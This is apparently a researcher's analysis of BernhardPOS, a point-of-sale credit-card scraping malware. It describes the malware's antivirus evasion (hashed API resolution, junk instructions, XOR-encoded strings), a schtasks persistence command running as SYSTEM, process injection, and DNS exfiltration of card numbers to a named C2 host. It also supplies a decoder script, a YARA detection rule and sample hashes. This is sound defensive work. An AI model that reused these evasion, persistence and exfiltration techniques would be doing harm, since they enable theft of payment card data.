Introduction
Yet another new credit card dumping utility has been discovered. BernhardPOS is named after (presumably) its author who left in the build path of C:\bernhard\Debug\bernhard.pdb
and also uses the name Bernhard in creating the mutex OPSEC_BERNHARD
. This utility does several interesting things to evade antivirus detection. We’ll talk over some of them in depth. Details about the sample, including a hash are available at the end of this writeup.
At the time of discovery it was scoring a low 3/56 detection on VirusTotal.
Digging Deeper
By just looking at the strings, it’s not entirely obvious what the features of Bernhard are. Pasted below are all of the strings.
A 0x4d !This program cannot be run in DOS mode.$
A 0xb0 Rich
A 0x1c0 .textbss
A 0x1e8 .text
A 0x20f `.rdata
A 0x237 @.data
A 0x260 .idata
A 0x287 @.reloc
A 0x3480 OPSEC_BERNHARD
A 0x3634 RSDS
A 0x364c C:\bernhard\Debug\bernhard.pdb
A 0x3d66 Sleep
A 0x3d6e ExitProcess
A 0x3d7c CreateThread
A 0x3d8c lstrlenA
A 0x3d98 lstrcatA
A 0x3da4 VirtualAlloc
A 0x3db4 VirtualFree
A 0x3dc2 GetCurrentProcess
A 0x3dd6 GetLastError
A 0x3de6 CloseHandle
A 0x3df4 GetSystemInfo
A 0x3e04 WideCharToMultiByte
A 0x3e18 KERNEL32.dll
A 0x3e28 CharUpperA
A 0x3e34 USER32.dll
The main thread is responsible for running the following items (in order):
- Manually building a base64 dictionary for use later
- Decoding and building imports
- LoadLibraries for later use / Get function addresses
- Create the Mutex
- Adjust/Check Privs
- Set up sockets
- Create Mailslot & Monitor for Credit Card Data
- Set up persistence
- Inject and search for CC data
The reader may notice that imports like ReadProcessMemory, VirtualQueryEx, OpenProcess, etc.. are not present in this strings dump, they will be imported later. These API’s are commonly used in credit card dumpers and used to crawl process memory space. Bernhard seems to take some care to not get immediately detected.
These APIs are resolved using standard shellcode practices. It manually parses through Kernel32’s PE header to find its list of exported functions, then hashes the name of each one until it matches the hash of the API it’s looking for (LoadLibraryA). It uses similar logic to resolve the other API’s it needs. It does hide the names of the dll’s it needs by decoding them at runtime using the xor key [0x0B,0x0A,0x17,0x0D,0x1A,0x1F]
(same one used for exfil below). It also xor’s the resulting plaintext again when it is finished so they’re only plaintext in memory for a tiny sliver of time, likely to try to avoid being caught by memory scans.
While crawling through kernel32’s PE header, the shellcode does an interesting trick. To avoid being picked up by AV, the malware places junk instructions in between the MOV operations. Notice the ADD’s followed immediately by the SUB, resulting in no change in EAX. This is simply meant to throw off AV scanners that look for the FS[:30] shellcode technique.
The string OPSEC_BERNHARD correlates to the name of the mutex. Traditionally a mutex is used to make sure that only one instance of the malware is running on the machine.
In addition to creating a mutex, Bernhard will also create a mailslot named ww2. This is used as a temporary storage for the found credit card numbers.
Persistence
To establish persistence on the host, the following command is decoded by the malware and executed. (Where in this case cdcdc7331e3ba74709b0d47e828338c4fcc350d7af9ae06412f2dd16bd9a089f is the filename of the binary)
schtasks /create /tn ww /sc HOURLY /tr \"C:\cdcdc7331e3ba74709b0d47e828338c4fcc350d7af9ae06412f2dd16bd9a089f\"" /RU SYSTEM"
The options are
Task name - ww
Schedule - Hourly
Run as user - System
It also sets up an autorun key
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\coreService
Process Injection
Process Enumeration and Filtering
After all of the initialization code, the sample begins its main injection routine which will run every 3 minutes indefinitely. Like most POS samples, it iterates over running processes. Unlike most, (which use CreateToolhelp32Snapshot) it uses ZwQuerySystemInformation (/w SystemInformationClass = SystemProcessInformation). This returns an array of structures describing each process running on the system. The malware then iterates over these structures, passing each pid and process name to a filtering function which determines whether to inject or not. The following processes are blacklisted (not an exhaustive list, just the ones skipped over on my personal analysis machine):
- PID 0
- PID 4
- Itself
- csrss.exe
- winlogon.exe
- lsass.exe
- svchost
- explorer
- alg.exe
- wscntfy.exe
Injection
Once a process has passed the filtering the actual injection occurs:
- ZwQueryInformationProcess is used to get the address of the PEB in the remote process.
- The PEB is read. One of the fields in the PEB contains the load address of the target module.
- The first 40 bytes of the remote process are read. A marker of 0x029A is written in the header of the remote process (offset 0x24). This appears to never be referenced again which is strange.
- Standard code injection via WriteProcessMemory & CreateRemoteThread is used to deploy the CC track data scraper to the remote process.
Injected Code
The injected code just iterates over all virtual memory sections in the remote process. If a memory section has property MEM_COMMIT and access PAGE_READ_WRITE, then the code begins searching for valid track data using a custom algorithm. When valid track data is found, it is immediately sent to the mailslot. The main process reads them from the mailslot, verifies them /w Luhn’s and sends them out to the C2 (See Exfiltration). The following code is a similar implementation to how the authors implemented Luhns.
int IsValidCC(const char* cc,int CClen)
{
const int m[] = {0,2,4,6,8,1,3,5,7,9}; // mapping for rule 3
int i, odd = 1, sum = 0;
for (i = CClen; i--; odd = !odd) {
int digit = cc[i] - '0';
sum += odd ? digit : m[digit];
}
return sum % 10 == 0;
}
Exfiltration
Exfiltration is done via DNS to 29a.de. (5.101.147.126)
The C2 is manually constructed
and a DNS request looks like the following.
The credit card numbers in the DNS requests are base64 encoded and xor’d using a key of “0B 0A 17 0D 1A 1F”. With the following simple ruby script these can be decoded.
require 'base64'
xor_key = [0x0B,0x0A,0x17,0x0D,0x1A,0x1F]
request = "PzMnPiosOD4nOCwuOzomPS4nNjovPS8uOzsnNCstODkjOCwoMwAA.29a.de"
cc_num = request.split(".").first
enc_num = Base64.decode64(cc_num)
count = 0
enc_num.bytes.each do |byte|
print "#{((byte ^ xor_key[count % xor_key.length]) % 0xff).chr}"
count += 1
end
=begin
#example dns query
#16 43.022113000 10.0.2.15 5.101.147.126 DNS 119 Standard query 0x0065 A PzMnPiosOD4nOCwuOzomPS4nNjovPS8uOzsnNCstODkjOCwoMwAA.29a.de
#running the script
490303340561001048=080510109123345678
=end
Virustotal DNS also has some interesting history on the IP 5.101.147.126
Detection
The following yara rule will detect BernhardPOS.
rule BernhardPOS {
meta:
author = "Nick Hoffman / Jeremy Humble"
last_update = "2015-07-14"
source = "Booz Allen Inc."
description = "BernhardPOS Credit Card dumping tool"
strings:
/*
33C0 xor eax, eax
83C014 add eax, 0x14
83E814 sub eax, 0x14
64A130000000 mov eax, dword ptr fs:[0x30]
83C028 add eax, 0x28
83E828 sub eax, 0x28
8B400C mov eax, dword ptr [eax + 0xc]
83C063 add eax, 0x63
83E863 sub eax, 0x63
8B4014 mov eax, dword ptr [eax + 0x14]
83C078 add eax, 0x78
83E878 sub eax, 0x78
8B00 mov eax, dword ptr [eax]
05DF030000 add eax, 0x3df
2DDF030000 sub eax, 0x3df
8B00 mov eax, dword ptr [eax]
83C057 add eax, 0x57
83E857 sub eax, 0x57
8B4010 mov eax, dword ptr [eax + 0x10]
83C063 add eax, 0x63
*/
$shellcode_kernel32_with_junk_code = { 33 c0 83 ?? ?? 83 ?? ?? 64 a1 30 00 00 00 83 ?? ?? 83 ?? ?? 8b 40 0c 83 ?? ?? 83 ?? ?? 8b 40 14 83 ?? ?? 83 ?? ?? 8b 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8b 00 83 ?? ?? 83 ?? ?? 8b 40 10 83 ?? ?? }
$mutex_name = "OPSEC_BERNHARD"
$build_path = "C:\\bernhard\\Debug\\bernhard.pdb"
/*
55 push ebp
8BEC mov ebp, esp
83EC50 sub esp, 0x50
53 push ebx
56 push esi
57 push edi
A178404100 mov eax, dword ptr [0x414078]
8945F8 mov dword ptr [ebp - 8], eax
668B0D7C404100 mov cx, word ptr [0x41407c]
66894DFC mov word ptr [ebp - 4], cx
8A157E404100 mov dl, byte ptr [0x41407e]
8855FE mov byte ptr [ebp - 2], dl
8D45F8 lea eax, dword ptr [ebp - 8]
50 push eax
FF150CB04200 call dword ptr [0x42b00c]
8945F0 mov dword ptr [ebp - 0x10], eax
C745F400000000 mov dword ptr [ebp - 0xc], 0
EB09 jmp 0x412864
8B45F4 mov eax, dword ptr [ebp - 0xc]
83C001 add eax, 1
8945F4 mov dword ptr [ebp - 0xc], eax
8B4508 mov eax, dword ptr [ebp + 8]
50 push eax
FF150CB04200 call dword ptr [0x42b00c]
3945F4 cmp dword ptr [ebp - 0xc], eax
7D21 jge 0x412894
8B4508 mov eax, dword ptr [ebp + 8]
0345F4 add eax, dword ptr [ebp - 0xc]
0FBE08 movsx ecx, byte ptr [eax]
8B45F4 mov eax, dword ptr [ebp - 0xc]
99 cdq
F77DF0 idiv dword ptr [ebp - 0x10]
0FBE5415F8 movsx edx, byte ptr [ebp + edx - 8]
33CA xor ecx, edx
8B4508 mov eax, dword ptr [ebp + 8]
0345F4 add eax, dword ptr [ebp - 0xc]
8808 mov byte ptr [eax], cl
EBC7 jmp 0x41285b
5F pop edi
5E pop esi
5B pop ebx
8BE5 mov esp, ebp
5D pop ebp
*/
$string_decode_routine = { 55 8b ec 83 ec 50 53 56 57 a1 ?? ?? ?? ?? 89 45 f8 66 8b 0d ?? ?? ?? ?? 66 89 4d fc 8a 15 ?? ?? ?? ?? 88 55 fe 8d 45 f8 50 ff ?? ?? ?? ?? ?? 89 45 f0 c7 45 f4 00 00 00 00 ?? ?? 8b 45 f4 83 c0 01 89 45 f4 8b 45 08 50 ff ?? ?? ?? ?? ?? 39 45 f4 ?? ?? 8b 45 08 03 45 f4 0f be 08 8b 45 f4 99 f7 7d f0 0f be 54 15 f8 33 ca 8b 45 08 03 45 f4 88 08 ?? ?? 5f 5e 5b 8b e5 5d }
condition:
any of them
}
Conclusion
What makes BernhardPOS stand out is the use of code that continues to evade AV detection. Between manually resolving imports when they are needed and inserting junk code between legit operations, this malware stays successfully hidden. It manually encodes the strings that it needs to in order to evade a simple string based rule. And it doesn’t heavily pack or encrypt itself in a way that would set off high entropy rules. In most network scenarios, DNS is a port left wide open due to machines needing to communicate with one another and the larger Internet. Leveraging DNS allows the malware authors to not worry about being blocked by a firewall or hindered by network restrictions.
There doesn’t seem to be a stop to attacks on point of sale machines. By using the same technique of finding credit card information in a processes memory space, malware samples like these continue to be successful.
Sample Details
Checksums
Filename - cdcdc7331e3ba74709b0d47e828338c4fcc350d7af9ae06412f2dd16bd9a089f
MD5Sum - e49820ef02ba5308ff84e4c8c12e7c3d
SHA1 - a0601921795d56be9e51b82f8dbb0035c96ab2d6
SHA256 - cdcdc7331e3ba74709b0d47e828338c4fcc350d7af9ae06412f2dd16bd9a089f
SHA512 - c693533d68f38cf2d7107c14b1c2fa1157dc16fc93a976851de59e8ab819898a538104a4164e9648291d323fb93b38930d810f7bd6024d250d40fbd73c78204e
IMPHash - fd8af1cc60e7046c1e08e4d95bac68f7
PEHash - ece74afd17d0d18d819d687ea550cad97d703e94